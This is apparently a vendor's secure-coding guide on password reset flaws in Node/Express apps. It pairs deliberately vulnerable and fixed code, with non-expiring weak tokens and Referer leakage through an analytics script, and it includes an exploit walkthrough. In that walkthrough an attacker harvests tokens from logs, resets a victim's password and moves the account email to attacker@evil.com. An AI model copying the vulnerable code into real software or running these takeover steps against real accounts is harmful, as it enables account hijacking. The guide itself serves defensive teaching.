Password Reset Flaws

Reset Token IssuesAccount Recovery Flaws

Password Reset Flaws at a glance

What it is: Weaknesses in the password reset or account recovery flows that let attackers hijack accounts or leak reset tokens.
Why it happens: Account recovery vulnerabilities arise when insecure reset mechanisms use weak randomness, predictable links, external resources, or allow email changes without re-authentication.
How to fix: Use strong, short-lived, single-use tokens; prevent token leakage with safe referrer and logging practices; and require re-auth or step-up for sensitive actions and reset links.

Overview

Password reset flows let users regain access using an out-of-band channel such as email. Because they intentionally bypass password checks, they are a favorite target for attackers. Common problems include tokens with no expiry, tokens that leak via referer or logs, weak token entropy, state-changing GET endpoints, and flows that allow attackers to redirect resets to an address they control.

sequenceDiagram participant Browser participant Email as Victim Email Inbox participant App as App Server Browser->>Email: Access old email with reset link or token Browser->>App: POST /reset { token: leaked } App-->>Browser: Password changed note over App: Token had no expiry or was leaked via referer/logs
A potential flow for a Password Reset Flaws exploit

Where it occurs

Flaws occur in account recovery flows that use weak randomness, insecure reset links, unverified email changes, or externally loaded resources without proper validation.

Impact

Exploiting a reset flow typically yields full account takeover, persistent access, and the ability to generate new tokens or reset other protections. For high privilege accounts, consequences include data exfiltration, financial fraud, and lateral movement.

Prevention

Prevent this by issuing ≥128-bit single-use tokens hashed server-side with short expiry; blocking external resources and setting Referrer-Policy: no-referrer on token pages; requiring re-auth/MFA for contact changes; using opaque IDs, rate-limiting, and never logging tokens.

Examples

Switch tabs to view language/framework variants.

Reset tokens issued without expiry

Reset tokens that never expire remain valid forever, so any leaked token allows account takeover.

Vulnerable
JavaScript • Express — Bad
app.post('/forgot', async (req,res)=>{
  const u = await Users.findOne({email:req.body.email});
  const token = crypto.randomBytes(16).toString('hex');
  u.resetToken = token; await u.save();
  sendEmail(u.email, `https://app.example.com/reset?token=${token}`);
  res.json({ok:true});
});
  • Line 4: Token saved with no expiry, remains valid

Forever-valid tokens let attackers use any leaked token to take over accounts long after issuance.

Secure
JavaScript • Express — Good
app.post('/forgot', async (req,res)=>{
  const u = await Users.findOne({email:req.body.email});
  const token = crypto.randomBytes(32).toString('hex');
  u.resetToken = token;
  u.resetExpires = Date.now() + 1000 * 60 * 60; // 1 hour
  await u.save();
  sendEmail(u.email, `https://app.example.com/reset?token=${token}`);
  res.json({ok:true});
});
app.post('/reset', async (req,res)=>{
  const u = await Users.findOne({resetToken:req.body.token, resetExpires: { $gt: Date.now() }});
  if(!u) return res.status(400).send('invalid');
  u.password = hash(req.body.password); u.resetToken = null; await u.save();
  res.json({ok:true});
});
  • Line 5: Set resetExpires and check it when consuming token

Short-lived, cryptographically strong tokens limit the window of exposure and support rotation.

Engineer Checklist

  • Generate cryptographically strong tokens, store only hashed tokens server-side, and set short expiry

  • Make reset tokens single-use and nullify on consumption, and rotate if suspicion arises

  • Avoid third-party resources on token-bearing pages and set Referrer-Policy: no-referrer

  • Require re-authentication or MFA for changing email/notification settings that affect recovery

  • Use opaque identifiers, consistent failure responses, and rate limit/monitor reset endpoints

End-to-End Example

An application's password reset page loads third-party analytics scripts, leaking reset tokens via the Referer header. Tokens also have no expiration, allowing long-term reuse after capture.

Vulnerable
JAVASCRIPT
// Node.js/Express - Vulnerable password reset flow
const crypto = require('crypto');

app.post('/api/forgot-password', async (req, res) => {
  const user = await User.findOne({ email: req.body.email });
  if (!user) return res.status(404).json({ error: 'User not found' });
  
  // Generate weak 8-character token
  const resetToken = crypto.randomBytes(4).toString('hex');
  
  // Store plaintext token with NO EXPIRATION
  user.resetToken = resetToken;
  await user.save();
  
  // Email link with token in URL
  await sendEmail(user.email, `Reset: https://app.example.com/reset?token=${resetToken}`);
  res.json({ message: 'Reset email sent' });
});

// Reset page template loads third-party resources
// <html><head><script src="https://analytics.example.com/track.js"></script>...
// This causes browser to send: Referer: https://app.example.com/reset?token=abc123xyz789

app.post('/api/reset-password', async (req, res) => {
  const { token, new_password } = req.body;
  
  // No expiration check, accepts any old token
  const user = await User.findOne({ resetToken: token });
  if (!user) return res.status(400).json({ error: 'Invalid token' });
  
  // No single-use enforcement - token remains valid
  user.password = hashPassword(new_password);
  await user.save();
  
  res.json({ message: 'Password reset successful' });
});
Secure
JAVASCRIPT
// Node.js/Express - Secure password reset flow
const crypto = require('crypto');

app.post('/api/forgot-password', async (req, res) => {
  const user = await User.findOne({ email: req.body.email });
  if (!user) return res.status(404).json({ error: 'User not found' });
  
  // Generate cryptographically strong 32-byte token
  const resetToken = crypto.randomBytes(32).toString('base64url');
  
  // Store HASHED token with 1-hour expiration
  const hashedToken = crypto.createHash('sha256').update(resetToken).digest('hex');
  user.resetTokenHash = hashedToken;
  user.resetTokenExpires = new Date(Date.now() + 60 * 60 * 1000); // 1 hour
  await user.save();
  
  await sendEmail(user.email, `Reset: https://app.example.com/reset?token=${resetToken}`);
  res.json({ message: 'Reset email sent' });
});

// Reset page template:
// <html><head><meta name="referrer" content="no-referrer">
// NO external scripts or resources on token-bearing pages!

app.post('/api/reset-password', async (req, res) => {
  const { token, new_password } = req.body;
  
  // Hash incoming token to compare
  const hashedToken = crypto.createHash('sha256').update(token).digest('hex');
  
  // Find user with matching hash AND valid expiration
  const user = await User.findOne({
    resetTokenHash: hashedToken,
    resetTokenExpires: { $gt: new Date() }
  });
  
  if (!user) return res.status(400).json({ error: 'Invalid or expired token' });
  
  // Update password and INVALIDATE token (single-use)
  user.password = await hashPassword(new_password);
  user.resetTokenHash = null;
  user.resetTokenExpires = null;
  await user.save();
  
  res.json({ message: 'Password reset successful' });
});

Discovery

Test if password reset pages load external resources that could leak tokens via Referer headers, and verify whether tokens expire or can be reused.

  1. 1. Check reset page for external resources

    http

    Action

    Load password reset page and inspect for third-party scripts/resources

    Request

    GET https://app.example.com/reset?token=test_token_abc123xyz789

    Response

    Status: 200
    Body:
    {
      "html": "<!DOCTYPE html><html><head><script src=\"https://analytics.example.com/track.js\"></script><link rel=\"stylesheet\" href=\"https://cdn.example.com/styles.css\"><meta name=\"referrer\" content=\"unsafe-url\">...</head><body>...",
      "note": "Page loads external analytics script - will leak token in Referer header. No Referrer-Policy set!"
    }

    Artifacts

    external_script_analytics external_css_cdn no_referrer_policy token_in_url
  2. 2. Test token expiration

    http

    Action

    Attempt to use 7-day-old reset token to check expiration enforcement

    Request

    POST https://app.example.com/api/reset-password
    Headers:
    Content-Type: application/json
    Body:
    {
      "token": "7day_old_token_xyz789",
      "new_password": "TestPassword123!"
    }

    Response

    Status: 200
    Body:
    {
      "message": "Password reset successful",
      "user_id": "user_456",
      "note": "7-day-old token still valid - NO EXPIRATION enforced!"
    }

    Artifacts

    no_token_expiration old_token_accepted indefinite_validity

Exploit steps

Attacker compromises analytics provider or accesses their logs to capture reset tokens leaked via Referer headers, then uses the never-expiring tokens to take over victim accounts.

  1. 1. Capture token from analytics logs

    Access third-party analytics logs

    analysis

    Action

    Extract reset tokens from Referer headers logged by analytics service

    Request

    GET https://analytics.example.com/api/logs?domain=app.example.com&filter=reset

    Response

    Status: 200
    Body:
    {
      "log_entries": [
        {
          "timestamp": "2024-01-15T10:23:45Z",
          "page": "/track.js",
          "referer": "https://app.example.com/reset?token=f8e2c4a1b9d3",
          "ip": "203.0.113.45",
          "user_agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)..."
        },
        {
          "timestamp": "2024-01-16T14:12:33Z",
          "page": "/track.js",
          "referer": "https://app.example.com/reset?token=7a3f9e2b5c1d",
          "ip": "198.51.100.78"
        },
        {
          "timestamp": "2024-01-18T09:45:21Z",
          "page": "/track.js",
          "referer": "https://app.example.com/reset?token=c5d8a2f3e7b1",
          "ip": "192.0.2.156"
        }
      ],
      "note": "Hundreds of reset tokens captured from Referer headers in analytics logs"
    }

    Artifacts

    tokens_captured_bulk referer_log_access third_party_data_breach
  2. 2. Execute account takeover with leaked token

    Reset password using captured token

    http

    Action

    Use 2-week-old leaked token to reset victim password

    Request

    POST https://app.example.com/api/reset-password
    Headers:
    Content-Type: application/json
    Body:
    {
      "token": "f8e2c4a1b9d3",
      "new_password": "AttackerControlled123!"
    }

    Response

    Status: 200
    Body:
    {
      "message": "Password successfully reset",
      "user_id": "user_victim_123",
      "email": "john.doe@company.com",
      "note": "Token from 2 weeks ago still valid - full account takeover achieved"
    }

    Artifacts

    password_reset_successful account_takeover old_token_still_valid
  3. 3. Persist access and escalate

    Create persistent backdoor access

    http

    Action

    Change email and add API keys for persistent access

    Request

    POST https://app.example.com/api/account/settings
    Headers:
    Authorization: Bearer <session_token_from_login>
    Content-Type: application/json
    Body:
    {
      "email": "attacker@evil.com",
      "backup_email": "attacker-backup@evil.com",
      "generate_api_key": true
    }

    Response

    Status: 200
    Body:
    {
      "email": "attacker@evil.com",
      "api_key": "sk_live_9f8e7d6c5b4a3f2e1d0c9b8a7f6e5d4c",
      "note": "Email changed, API key generated - attacker has persistent access"
    }

    Artifacts

    email_changed api_key_generated persistent_backdoor

Specific Impact

An attacker who captures leaked tokens from analytics logs can take over victim accounts weeks or months later due to no token expiration. This enables bulk account compromise, data exfiltration, and persistent access through email/API key changes.

Fix

Use high-entropy tokens (>=128 bits), store only hashed tokens server-side, set short expiry (1 hour), enforce single-use by clearing token on consumption. Set Referrer-Policy: no-referrer on all token-bearing pages and avoid loading ANY external resources (scripts, CSS, images) on password reset pages.

Detect This Vulnerability in Your Code

Sourcery automatically identifies password reset flaws vulnerabilities and many other security issues in your codebase.

Scan Your Code for Free